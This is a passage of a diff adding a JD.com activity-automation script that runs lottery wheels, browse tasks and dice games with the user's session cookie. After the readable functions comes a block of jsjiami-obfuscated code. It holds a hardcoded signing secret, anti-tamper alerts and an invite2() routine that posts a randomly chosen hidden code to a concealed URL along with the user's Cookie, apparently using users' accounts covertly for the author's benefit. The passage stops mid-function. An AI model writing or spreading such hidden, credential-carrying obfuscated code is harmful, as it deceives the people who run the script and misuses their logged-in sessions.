console.log(`${$.taskName}任务失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function cash() { + return new Promise(resolve => { + $.get(taskUrl('MyAssetsService.execute', + {"method": "userCashRecord", "data": {"channel": 1, "pageNum": 1, "pageSize": 20}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.total = data.data.goldBalance + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 大转盘 +function wheelsHome() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsHome', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + console.log(`【幸运大转盘】剩余抽奖机会:${data.data.lotteryChances}`) + while(data.data.lotteryChances--) { + await wheelsLottery() + await $.wait(500) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘 +function wheelsLottery() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsLottery', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data && data.data.rewardType){ + console.log(`幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`) + message += `幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n` + }else{ + console.log(`幸运大转盘抽奖获得:空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘任务 +function apTaskList() { + return new Promise(resolve => { + $.get(taskGetUrl('apTaskList', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + for(let task of data.data){ + // {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":"SIGN","taskId":67,"channel":4} + if(!task.taskFinished && ['SIGN','BROWSE_CHANNEL'].includes(task.taskType)){ + console.log(`去做任务${task.taskTitle}`) + await apDoTask(task.taskType,task.id,4,task.taskSourceUrl) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘做任务 +function apDoTask(taskType,taskId,channel,itemId) { + // console.log({"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}) + return new Promise(resolve => { + $.get(taskGetUrl('apDoTask', + {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.finished){ + console.log(`任务完成成功`) + }else{ + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function richManIndex() { + return new Promise(resolve => { + $.get(taskUrl('richManIndex', {"actId":"hbdfw","needGoldToast":"true"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.userInfo){ + console.log(`用户当前位置:${data.data.userInfo.position},剩余机会:${data.data.userInfo.randomTimes}`) + while(data.data.userInfo.randomTimes--){ + await shootRichManDice() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function shootRichManDice() { + return new Promise(resolve => { + $.get(taskUrl('shootRichManDice', {"actId":"hbdfw"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.rewardType && data.data.couponDesc){ + message += `红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】\n` + console.log(`红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】`) + }else{ + console.log(`红包大富翁抽奖:获得空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb24bc=["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26","\x26","\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66","\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30","\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D","\x26\x73\x69\x67\x6E\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x52\x4E","\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taskUrl(_0x7683x2,_0x7683x3= {}){let _0x7683x4=+ new Date();let _0x7683x5=`${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`;let _0x7683x6=__Oxb24bc[0x5];const _0x7683x7=$[__Oxb24bc[0x6]]()?require(__Oxb24bc[0x7]):CryptoJS;let _0x7683x8=_0x7683x7.HmacSHA256(_0x7683x5,_0x7683x6).toString();return {url:`${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`,headers:{'\x48\x6F\x73\x74':__Oxb24bc[0xd],'\x61\x63\x63\x65\x70\x74':__Oxb24bc[0xe],'\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D':__Oxb24bc[0xf],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':__Oxb24bc[0x10],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxb24bc[0x11],'\x43\x6F\x6F\x6B\x69\x65':cookie}}}(function(_0x7683x9,_0x7683xa,_0x7683xb,_0x7683xc,_0x7683xd,_0x7683xe){_0x7683xe= __Oxb24bc[0x12];_0x7683xc= function(_0x7683xf){if( typeof alert!== _0x7683xe){alert(_0x7683xf)};if( typeof console!== _0x7683xe){console[__Oxb24bc[0x13]](_0x7683xf)}};_0x7683xb= function(_0x7683x7,_0x7683x9){return _0x7683x7+ _0x7683x9};_0x7683xd= _0x7683xb(__Oxb24bc[0x14],_0x7683xb(_0x7683xb(__Oxb24bc[0x15],__Oxb24bc[0x16]),__Oxb24bc[0x17]));try{_0x7683x9= __encode;if(!( typeof _0x7683x9!== _0x7683xe&& _0x7683x9=== _0x7683xb(__Oxb24bc[0x18],__Oxb24bc[0x19]))){_0x7683xc(_0x7683xd)}}catch(e){_0x7683xc(_0x7683xd)}})({}) + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +var _0xod3='jsjiami.com.v6',_0x444a=[_0xod3,'KB9aAcKyw5V6aysLwpzCqELDqg7CqsKMVggVE8KdLsOS','CMOxK2LCqgsEYG83w7oeL8KsUg9DCcOPfBTCgQNM','wq10woh5wpPDmMOaAC11wqtpw54Lw719OnA8w6o9KkJ3wp5MwojDp8KKw6Zlw5pzAHxuXsK0w6BpdsKaw4HDlQ==','wqMaw6sTdEBxw7nDq8OIwqrCmh7DocKbTsK5U08pVQTCjmPCunRSZMOpBU19wqfCgMOXfXw7w5k1w4zCrsKHRw==','bj/ChcKOYipqPMKpTgBewojDiMOmCsOmw7l7V8ODNMKXwrHDmsO/c3bDgHIvGj/Dl2nCphPCpsKsw5dGw78Jwrw=','wpprwrE1wozDgsO3DCx1wo93','wqJffMO4MQx1KsOmwot/e8Obd8OGwr7Co2DDtwJtCsOMw7BjSMOjwpdjeAbDtmU=','YhbCtMKnby9Bw5XClyjDmGnCqAJ1w4snw6sqLsOWLWNywobDtxXCvk8OG2gw','ZcOCwpkkw4PCiVIqZcK9PMKZRTLDqMK7wqjCkhFAVWlLw6Zz','cHxERcKO','wrwzw6F4dcOpwp/CkhTDt8O7w7kFEcOUw4c=','wrFIwo1a','wrNPwrjCiMOYwqgjw61fw6w/HTTCr8ONwoLDuzfCmVYWwpnCn0keZsOGXTHCngPDt8KAwoFOA2cEV8OewodMVsKHw48OPMOAw6bDgMOOwotmw4HDk1srwrHCvsOLKgJaw6UDNCTCjTPCgXLDvcKvwqIVw77DtcKywrdRw7PDsjbCscOpMsKsw5rDjcO+EsOLw6JCfT0Xwr0WAcKXw5hXwq0RwpMQw6XDlsOONCrDo1PColnDswE5F8O5ZsK+wpEETx9VT13CrGsTGWrCug8KEcKAR8OBwq3DmU1kQcOFwq/DgMO8OcKzFg==','wozDqcKFLMKVEMOowpDDsQnDpgLCnMKXScK7JcKKGmsp','w59hwpDClcOJ','w5gTcx/DmQ==','wqtibsOgFA==','XwNDLsOd','wprDoMKMwqA4','w5lNwpDCssOq','asOIw55Yw64=','B8OPBcOHwrc=','wocUwoFFbQ==','wqzCscOow4nCqw==','dsOsw6h1w5g=','w4zCj8KJJhk=','RMKYbMKsw6Q=','w7JJwrPCi8Oe','wqN8LSHDvw==','wpbDvMKfOMKJRw==','wo7Dk8K0DMKw','w6tPw6VCWQ==','wr9/w5c4woA=','QMOYw69Kw5s=','wrhPw5QjHQ==','w5fCjQLCjTXCpQ==','w5LCrQc=','wqPDvRwBCcK9wp3Di8KHw5ofYmM=','w7dyw50=','wpTCrsOFw4rCu1vCksOgLcOpUMOpw7U=','woQMw4kbQg==','wrDDl8KZbRM=','w4F2wpnCtsOzwogUw5gqw5E=','MsOTB8ORwpjCvWg=','eBRcX8Ka','wol9w6UwKGUu','RSBhNsOA','NMK4AzLCpA==','P8KRwoXCoR/DmMOiwoIPw5XCjsKjdsOIQ3Z5GcO+w7AvNcK0w6Zmw5jDiBYUwopFwpIlDCjCj8Ov','AMKhwoPCpiY=','wohtw783PXggFcKNwqnCr8KWw5DCpMKKw6/CmHkgwrnCgMOoWcKOwqjCp8OLwq3Dn8KKwrvDocOWfxvCgT9gwpVfORjDkMK9w67DgzXCmMK1wpcLw4ZMwpY8wrLDoMO1QRnCtxnDpMOLwpNyYWTCvRVFw7TDsCZPw6MXw7XCgcKKJcKUVMKwwo/DtxvDkDjCokDDmcKnw54ACMOJwq/CkMOswpHDm1PDnENsw7UkNcKgCwUqw4Y=','wpTDksOxa00=','wrYJw77CkMOVwrk2wr9ewrQSAXbDtcKOw5zCo33ClABGw5/DmhhRJcOXSDXCmlzDtMKaw5BSEGdbJ8KXwqJRBw==','ccOFw6FHw7g=','IETDuBM=','aAPDusKxAxJJYwkAZgzDnwvCthnDqsOwKj4QK8KRwoc=','BMOow70RCsKGwqLDqy3DoGw3XRQdw6TDrQLCl0rCpcORw4bDlsKHwpBawox+wrPDi8OJX8KUw4kUPcOiBcKow6LCmkHDlQ==','wo7CpcO9w67CoGnCosOnJcODd8Ogw4p+dGMUwrdeHG0Dw4/Dtg==','w59zesOhM8ONwrTCpcOjwpvDlwAWw5vCkH3Cp3TCuTzDjcKpX1LDr2dXeVbCn8OFVnAFASl0TlzDr8KXWFBj','ZwnCgRN+w7vDoXrCr2bCtcKvZMOew6Juw6jCs8K3wrHCgmVvwqzCpcKkw6nDpcORbU3DjzzDncOTwqvDvcOewrzCoSckwr/DqA==','UMKDKcKHwr0Iwr4YNT0FwprCky9QETMXXzBRHMOgMcO2wpXCrxvDnMKAdz41w5IDwqI4JcOqSsK/dsOYBCvCv2TDrjof','w5XCqgLClHJQwrzDkE3CnVjDqRbCiUBaw6fCsMOsSnVgwp4wcsOOc8K+','LsKqBEnDsABYw648S2YeADxQEmB5Fw9FVUPDlMOgwoDDpcKtfVg=','MAPCi8O/Rztww7bCiRTDnw3CgENpw65pwrQ0I8KTEXM6','wpjCszVVw7PCh8O4wrfDusKcJMOnw6Z2wqHDl2XDpcOLwrl0BgNr','N1rDksKbwrIdwpwIPTfCi03CqCfClMO1wppywqDCp8ODwq1twpU/JHFFCDrDrcKkasKpw6sZwoQZwo/Cq8Omw4XDhz4=','FcKiOCvCgG12wq5uLkg3URFYSFVwYzR3AFPDgMOzw7TDqcK8LX0ldsK2w7cLw4nDjRZ6w6nCmsO7wo07','eAjCsyJvw4vDg0vCr3LCs8ObWcOkw68Mw7bDlcK9wpHDhhlew53Co8KWwrXDhMO9bHnDmS/Co8KgwqvDvsOrw5HCqnsswrPDqA==','JgVpwq1rG8Oxwr7Cp8O4w50x','w6EqdhvDksO1H8ObChhRwoDDvT/CvcKPaGrCtcKfMXQWw5fDrsO+F8KyaQ7DuW1K','wqJffMO4MQx1KsOmwot/e8OJKcOewqfDuG3DpQhnE8OOw7V9RcOvwpcsN0jCvCs=','XRzChMOFw5xVRcKhw5Ejw5HCjsOzwrTDgTnDiXViOcOsGSjDisKDS8OKKA==','wp7DtcOcP8KI','FnLCjsKoRxt1C8KpQDchwonDksKKDw==','wrTDlHvCnw==','EgLClMOZw5sOGsO+woMkw7fChsOjw6rDn2XCnSwzcMK5A2zCmsKWRsOAMTHDtAvCj8OTbsO4W8OFanTCjwZtwoTDj8OuWMKqbsO6DkTDkQtOSnZ2wqUdwrRywqLCg8OnWsKTwo1dW0BlwoXDikcgKnLCscKlw5LCisOFeFguHzTDsn1jwrlMQz5Fb8OaNsKKwp/CgsONw4lYw7Nww6PCpyICYcKdw7IVwo4bIHpvKH/DgsO1ezXDmnEWd8KYw6MZw7bDhCHCuWbDg8O+wogsL8KGw6oBw43Ct3jCncOGw4XDvcK8Xg==','w5bCijjCkiLDusK+ZxQcwpbDhsKdwqfCoMOkJwvDrGjClFDClcOzd3V1Rnc=','dxxebcKk','H3rDscKAwqE=','bTLCpzpx','w5zDmcOtw4rDnQ==','a0McXsK1','wpw3wqDClRk=','WhPCnxZE','DwVnw65L','T8KhccKXw5A=','P8O0w4spLw==','wqMHw4E8fg==','MkbDpsKWwrk=','wozDj0LCpA0=','SAbCnThn','VAXCksKYUQ==','XCrCjsK3Ww==','wofDt0fCsDk=','V8Oew6V4w5c=','wrh8w7Eswq0=','HQ1lw49y','M0PDnsKAwogf','ZgjCsg==','wqvDg8KRRcOSSVVMwp44a8Okw54=','wpLDqsOJ','USlKYMKgw6d4Yx0fwrDCrUY=','EGXDssKkwrw=','KHbDt8K8wqo=','K8KAMSPCnBR1w5tXLQ==','wo7DizcwO8KMwq4=','woLCpiLClWw=','wpg/wrzCowIXWA==','wq7DsMKCTcOI','wqTDtcKMWhg=','VMK9cMKfw5w=','IQBuw6ByXMO0wrTDgMO/wo8Vwp/DmkJqWB1aw7sddRtZwrISF2FUwohPNMKyw5/Ds0/CmcOEUcKCCMKlw4Q/ETRLIcKUfzHChgXCg8O1ZMOtw5ZPFGgMw4bDrcKqwoZqw4DCpBrCgcKiwoUtwrPDn1EUwoXDqkZ7NlRNw4Mwwow9w4kHADjCsQ==','LMOhw6grIw==','w6DCp8O2wpI/QcKpG8K2w4rDkcOPBMKXw5gVRGNOw77CmWxVYwHDmUfDh8KlBQ/Dnwg6YMKowp/Dv8Otw4RFG1DDghBrw5TDpzkEw5h8WcK0V8KIOgZewqHCvRXCpsO7Y8OsAsK1a8K5w486wqV9csKow69kDj7DgsKGwq4+wpBsasKYbsO+TToCO0xuw6zCksO0P8KgEXRwA8KnMy3DinQ6OMOAA2LCpybDkcKHa0vCsGgLw4rCk1oUwr7DhW3DvGTCoMKNOMOAd8K5w5/DlsOhw6sFwrfCoVfCmHLCmcK9b8Otw5fDt8OOwoUOwoTCkShJfmwQKChVwr7DoMO2dR3DixPCtWtTwonDicOEXsOQW8ODWRfCkMOZw4/ClMKDEU3Dl8KVwrZUKlpyIMKCw67CicK9ZsOpA8KVwodOwr3CqwICwoLCicKbwpF1w4JeEMKMFCHCocK3wqozw5AEw6TDrMKQwpjCrQHDn8KgUA7Do04qTk8sw6oaw7vCp0NSwonCtsKiEyVIwp7CnsK0TsOFVA==','w5wZIcObwoLDgzTCqMOeL8KWZsKSESjDj8ODw5vDisKOW8Obwop4','wpfCih3ChA==','w5rDgzrCjiB2ek9swrjCh8OBEcOYeChMI2/ChcK+wrjCjgU=','w47CuzZqwq7CnMOtwpvDusOFfcOEw7Q3wqbDkHnDpsK6woMPMXsxCnTCozd9w5rDrsOvCC3DlsKxwo47w4HCqRTCpjx6','LlnDoDpfw5h3w4pUwphzPHnCs8KMIMK4wp1kecOcZXd/','DxFGw5JuAMOSwrjDiMOBw7QKwrLCnVtZaBJSwqZMeU1Swq0THlR1w4tkAMOhwqjDnWvChMOHQ8KOa8Kgw7h2','N8KwBzXCqAFcw51LPFQ3HShUE3JuQjNwLFTCkcKgw6bDicO4Km8PScKzw6Btw7XDrCVKw4LDjMO8wo07','VcO9wpl1wozChMKRNyVkBcOKL8KOEMKjb8OvwqzCtE9EwofDgzZRWifDjsKDwqUZfMKRQQ3DuMKjwo4Xw54LFsKQwq3CpxU5OcO0','wrIVahPDrcOMHcKaEzJrw63Dk3TDo8K5EXLDtMKOIVEcwpTDhsK6TcKY','MUzDssOBw7N8wrEQN2bCglvCpCTDlsO0wqFfw6LCmcOHw7NHwqxZfWUnUiw=','jsgYjUxiaQJmi.Vctom.vn6YhwuJJ=='];(function(_0x4d697b,_0x412f5d,_0x13a220){var _0x10c543=function(_0x43cb8d,_0x1a29bd,_0x2a3d7e,_0x5187a6,_0x57fad4){_0x1a29bd=_0x1a29bd>>0x8,_0x57fad4='po';var _0x3aff67='shift',_0x2498af='push';if(_0x1a29bd<_0x43cb8d){while(--_0x43cb8d){_0x5187a6=_0x4d697b[_0x3aff67]();if(_0x1a29bd===_0x43cb8d){_0x1a29bd=_0x5187a6;_0x2a3d7e=_0x4d697b[_0x57fad4+'p']();}else if(_0x1a29bd&&_0x2a3d7e['replace'](/[gYUxQJVtnYhwuJJ=]/g,'')===_0x1a29bd){_0x4d697b[_0x2498af](_0x5187a6);}}_0x4d697b[_0x2498af](_0x4d697b[_0x3aff67]());}return 0x787ae;};return _0x10c543(++_0x412f5d,_0x13a220)>>_0x412f5d^_0x13a220;}(_0x444a,0x1e8,0x1e800));var _0x5f27=function(_0x4e38e1,_0x5f3772){_0x4e38e1=~~'0x'['concat'](_0x4e38e1);var _0x41b1f2=_0x444a[_0x4e38e1];if(_0x5f27['rXRbbU']===undefined){(function(){var _0x40dc14=function(){var _0x272973;try{_0x272973=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x440aa1){_0x272973=window;}return _0x272973;};var _0x483ad5=_0x40dc14();var _0xa4b8ac='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x483ad5['atob']||(_0x483ad5['atob']=function(_0x37ed5c){var _0xe5ff6a=String(_0x37ed5c)['replace'](/=+$/,'');for(var _0xdf7dbc=0x0,_0x2a59da,_0x165867,_0x30c67c=0x0,_0x225e40='';_0x165867=_0xe5ff6a['charAt'](_0x30c67c++);~_0x165867&&(_0x2a59da=_0xdf7dbc%0x4?_0x2a59da*0x40+_0x165867:_0x165867,_0xdf7dbc++%0x4)?_0x225e40+=String['fromCharCode'](0xff&_0x2a59da>>(-0x2*_0xdf7dbc&0x6)):0x0){_0x165867=_0xa4b8ac['indexOf'](_0x165867);}return _0x225e40;});}());var _0x5fd829=function(_0x274260,_0x5f3772){var _0x2a497e=[],_0x2653a4=0x0,_0x228aab,_0x59022b='',_0x8e5b6a='';_0x274260=atob(_0x274260);for(var _0x441e86=0x0,_0x242ad8=_0x274260['length'];_0x441e86<_0x242ad8;_0x441e86++){_0x8e5b6a+='%'+('00'+_0x274260['charCodeAt'](_0x441e86)['toString'](0x10))['slice'](-0x2);}_0x274260=decodeURIComponent(_0x8e5b6a);for(var _0x204b80=0x0;_0x204b80<0x100;_0x204b80++){_0x2a497e[_0x204b80]=_0x204b80;}for(_0x204b80=0x0;_0x204b80<0x100;_0x204b80++){_0x2653a4=(_0x2653a4+_0x2a497e[_0x204b80]+_0x5f3772['charCodeAt'](_0x204b80%_0x5f3772['length']))%0x100;_0x228aab=_0x2a497e[_0x204b80];_0x2a497e[_0x204b80]=_0x2a497e[_0x2653a4];_0x2a497e[_0x2653a4]=_0x228aab;}_0x204b80=0x0;_0x2653a4=0x0;for(var _0x54bdb1=0x0;_0x54bdb1<_0x274260['length'];_0x54bdb1++){_0x204b80=(_0x204b80+0x1)%0x100;_0x2653a4=(_0x2653a4+_0x2a497e[_0x204b80])%0x100;_0x228aab=_0x2a497e[_0x204b80];_0x2a497e[_0x204b80]=_0x2a497e[_0x2653a4];_0x2a497e[_0x2653a4]=_0x228aab;_0x59022b+=String['fromCharCode'](_0x274260['charCodeAt'](_0x54bdb1)^_0x2a497e[(_0x2a497e[_0x204b80]+_0x2a497e[_0x2653a4])%0x100]);}return _0x59022b;};_0x5f27['pNMNHG']=_0x5fd829;_0x5f27['kkfxSR']={};_0x5f27['rXRbbU']=!![];}var _0x2b06fd=_0x5f27['kkfxSR'][_0x4e38e1];if(_0x2b06fd===undefined){if(_0x5f27['ILWjZu']===undefined){_0x5f27['ILWjZu']=!![];}_0x41b1f2=_0x5f27['pNMNHG'](_0x41b1f2,_0x5f3772);_0x5f27['kkfxSR'][_0x4e38e1]=_0x41b1f2;}else{_0x41b1f2=_0x2b06fd;}return _0x41b1f2;};function invite2(){var _0x27cc4a={'KDLqe':_0x5f27('0','[MEy'),'XIuhb':_0x5f27('1','YzVd'),'hMbtL':_0x5f27('2','q7p1'),'yMkrt':_0x5f27('3','V6Nx'),'XkXQo':_0x5f27('4','XsN9'),'MhLVF':_0x5f27('5','[^(Z'),'sEtGZ':_0x5f27('6','C7$w'),'RyvrN':_0x5f27('7','lEPt'),'IcOHN':_0x5f27('8','#p!4'),'rLrVC':_0x5f27('9','bOJy'),'oaBjl':_0x5f27('a','gPAC'),'olKQO':_0x5f27('b','ilha'),'XkvAa':_0x5f27('c','R143'),'dFQTB':function(_0x50b8e9,_0x5ad457){return _0x50b8e9*_0x5ad457;},'jNEPV':_0x5f27('d','gPAC'),'ySNis':_0x5f27('e','ehIJ'),'eItqc':_0x5f27('f','TvJw'),'YUEUo':_0x5f27('10','synn'),'VWEwT':_0x5f27('11','C0ws'),'LgnRu':function(_0x4c4f87,_0x4a3170){return _0x4c4f87(_0x4a3170);},'qdLNj':_0x5f27('12','BdIl'),'cnIji':_0x5f27('13','gPAC'),'JkwCg':_0x5f27('14','Ac7V'),'WDrwJ':function(_0x18c181,_0x54f752){return _0x18c181(_0x54f752);},'cVNZg':function(_0x55643f,_0x34129a){return _0x55643f(_0x34129a);},'hHKXL':_0x5f27('15','j8(H')};let _0x2c6178=+new Date();let _0xf67a42=[_0x27cc4a[_0x5f27('16','Ac7V')],_0x27cc4a[_0x5f27('17','C7$w')],_0x27cc4a[_0x5f27('18','ehIJ')],_0x27cc4a[_0x5f27('19','%P6F')],_0x27cc4a[_0x5f27('1a','GsGt')],_0x27cc4a[_0x5f27('1b','Ac7V')],_0x27cc4a[_0x5f27('1c','[^(Z')],_0x27cc4a[_0x5f27('1d','jhIh')],_0x27cc4a[_0x5f27('1e','L3Kq')],_0x27cc4a[_0x5f27('1f','^EUf')],_0x27cc4a[_0x5f27('20','[^(Z')],_0x27cc4a[_0x5f27('21','9XNs')],_0x27cc4a[_0x5f27('22','aU8%')]][Math[_0x5f27('23','Ac7V')](_0x27cc4a[_0x5f27('24','&cp2')](Math[_0x5f27('25','j8(H')](),0xd))];let _0x2aeb55={'Host':_0x27cc4a[_0x5f27('26','j8(H')],'accept':_0x27cc4a[_0x5f27('27','BdIl')],'content-type':_0x27cc4a[_0x5f27('28','N2@S')],'origin':_0x27cc4a[_0x5f27('29','[^(Z')],'accept-language':_0x27cc4a[_0x5f27('2a','seg[')],'user-agent':$[_0x5f27('2b','PqyP')]()?process[_0x5f27('2c','YzVd')][_0x5f27('2d','0icS')]?process[_0x5f27('2e','BdIl')][_0x5f27('2f','^EUf')]:_0x27cc4a[_0x5f27('30','ilha')](require,_0x27cc4a[_0x5f27('31','e69j')])[_0x5f27('32','Ac7V')]:$[_0x5f27('33','jhIh')](_0x27cc4a[_0x5f27('34','#p!4')])?$[_0x5f27('35','seg[')](_0x27cc4a[_0x5f27('36','%P6F')]):_0x27cc4a[_0x5f27('37','XsN9')],'referer':_0x5f27('38','!UsR')+_0x27cc4a[_0x5f27('39','!UsR')](encodeURIComponent,_0xf67a42),'Cookie':cookie};let _0x594b10=_0x5f27('3a','seg[')+_0x27cc4a[_0x5f27('3b','8^js')](encodeURIComponent,_0xf67a42)+_0x5f27('3c','Ac7V')+_0x2c6178;var _0x44d05b={'url':_0x27cc4a[_0x5f27('3d','[^(Z')],'headers':_0x2aeb55,'body':_0x594b10};$[_0x5f27('3e','oPBY')](_0x44d05b,(_0x46da53,_0x3abdba,_0x113b96)=>{});}function invite(){var 